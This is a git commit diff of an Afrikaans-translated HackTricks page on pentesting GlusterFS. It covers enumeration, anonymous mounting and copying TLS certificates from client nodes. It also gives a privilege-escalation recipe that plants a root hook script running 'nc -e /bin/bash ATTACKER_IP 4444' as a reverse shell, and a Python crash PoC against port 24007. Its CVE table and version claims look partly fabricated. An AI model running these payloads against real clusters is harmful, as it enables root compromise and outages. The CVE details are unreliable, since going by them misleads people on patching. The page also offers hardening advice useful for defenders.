mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
946238432d
commit
d921ce5afc
@ -1,35 +1,117 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Basiese Inligting
|
||||
## Basiese Inligting
|
||||
|
||||
**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners in een **geïntegreerde stelsel** kombineer. Dit stel jou in staat tot **arbitraire skaalbaarheid**, wat beteken dat jy maklik stoorplekbedieners kan byvoeg of verwyder sonder om die algehele lêerstelsel te ontwrig. Dit verseker hoë **beskikbaarheid** en **fouttoleransie** vir jou data. Met GlusterFS kan jy jou lêers benader asof dit plaaslik gestoor is, ongeag die onderliggende bedienerinfrastruktuur. Dit bied 'n kragtige en buigsame oplossing vir die bestuur van groot hoeveelhede data oor verskeie bedieners.
|
||||
|
||||
**Standaard poorte**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (voorts)\
|
||||
Vir die poort 49152, moet poorte wat met 1 verhoog word oop wees om meer bakstene te gebruik. _Voorheen is die poort 24009 in plaas van 49152 gebruik._
|
||||
**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners in een **geïntegreerde naamruimte** kombineer. Die bestuurdaemon (`glusterd`) luister standaard op **24007/TCP** en gee opdrag aan data-vlak bakstene wat begin by **49152/TCP** (een poort per baksteen, met 'n verhoging). Weergawes voor 9.x het **24008–24009/TCP** gebruik vir baksteen vervoer, so jy sal steeds daardie poorte in erfenisklusters teëkom.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
## Enumerasie
|
||||
> Wenk: 24007 antwoord RPC-oproepe selfs wanneer die slegs-stoor nodes **nie** enige volume uitvoer nie; daarom is die diens 'n betroubare pivot-teiken binne groot infrastruktuur.
|
||||
|
||||
Om met hierdie lêerstelsel te werk, moet jy die [**GlusterFS-kliënt**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) installeer (`sudo apt-get install glusterfs-cli`).
|
||||
## Opname
|
||||
|
||||
Om die beskikbare volumes te lys en te monteer, kan jy gebruik maak van:
|
||||
Installeer die kliëntnutsgoed op jou aanvaldoos:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
As jy 'n **fout ontvang wanneer jy die lêerstelsel probeer monteer**, kan jy die logs in `/var/log/glusterfs/` nagaan.
|
||||
1. **Peer ontdekking & gesondheid**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **Volume verkenning**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **Monteer sonder voorregte**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
As die montering misluk, kyk na `/var/log/glusterfs/<vol_name>-<uid>.log` aan die kliëntkant. Algemene probleme is:
|
||||
|
||||
**Foute wat verwys na sertifikate** kan reggestel word deur die lêers te steel (as jy toegang tot die stelsel het):
|
||||
* TLS afdwinging (`option transport.socket.ssl on`)
|
||||
* Adresgebaseerde toegangbeheer (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### Sertifikaat probleemoplossing
|
||||
|
||||
En dit in jou masjien se `/etc/ssl` of `/usr/lib/ssl` gids te stoor (as 'n ander gids gebruik word, kyk vir lyne soortgelyk aan: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in die logs).
|
||||
Steal die volgende lêers van enige geautoriseerde kliëntknoop en plaas dit in `/etc/ssl/` (of die gids wat in die foutlog aangedui word):
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## Bekende Kw vulnerabilities (2022-2025)
|
||||
|
||||
| CVE | Aangetaste weergawes | Impak | Aantekeninge |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | Gebruik-na-vry in `dht_setxattr_mds_cbk` bereikbaar deur die netwerk | Afgeleë **DoS** en waarskynlike RCE. Geregverifieer in 10.4.1 / 11.1. |
|
||||
| **CVE-2023-26253** | < 11.0 | Buite-grense lees in FUSE kennisgewing handler | Afgeleë kragonderbreking deur vervaardigde FS operasies; openbare PoC beskikbaar. |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | Onkorrekte toestemming validasie wanneer `gluster_shared_storage` gemonteer word | Laat enige nie-geoutentiseerde kliënt toe om die admin volume te monteer – lei tot **priv-esc** hieronder verduidelik. |
|
||||
|
||||
> Kontroleer altyd `gluster --version` **op elke node**; heterogene klusters is algemeen na gedeeltelike opgraderings.
|
||||
|
||||
### Exploitering van `gluster_shared_storage` (Privilegie Escalatie)
|
||||
|
||||
Selfs in onlangse weergawes laat baie administrateurs die spesiale `gluster_shared_storage` volume wêreld-leesbaar omdat dit geo-replikaasie vereenvoudig. Die volume bevat cronjob sjablone wat met **root** op elke node loop.
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
As `hooks/1/` nie teenwoordig is nie, soek na `/ss_bricks/` – die presiese pad kan verskil met die hoofweergawe.
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
Running the script crashes `glusterfsd` < 11.0.
|
||||
|
||||
---
|
||||
|
||||
## Hardening & Detection
|
||||
|
||||
* **Opgradeer** – huidige LTS is 11.1 (Julie 2025). Alle CVE's hierbo is reggestel.
|
||||
* Aktiveer **TLS** vir elke baksteen:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* Beperk kliënte met CIDR-lists:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* Stel bestuuringspoort 24007 bloot slegs op 'n **private VLAN** of deur SSH-tunnels.
|
||||
* Kyk logs: `tail -f /var/log/glusterfs/glusterd.log` en konfigureer **audit-log** funksie (`volume set <vol> features.audit-log on`).
|
||||
|
||||
---
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [GlusterFS security advisories](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user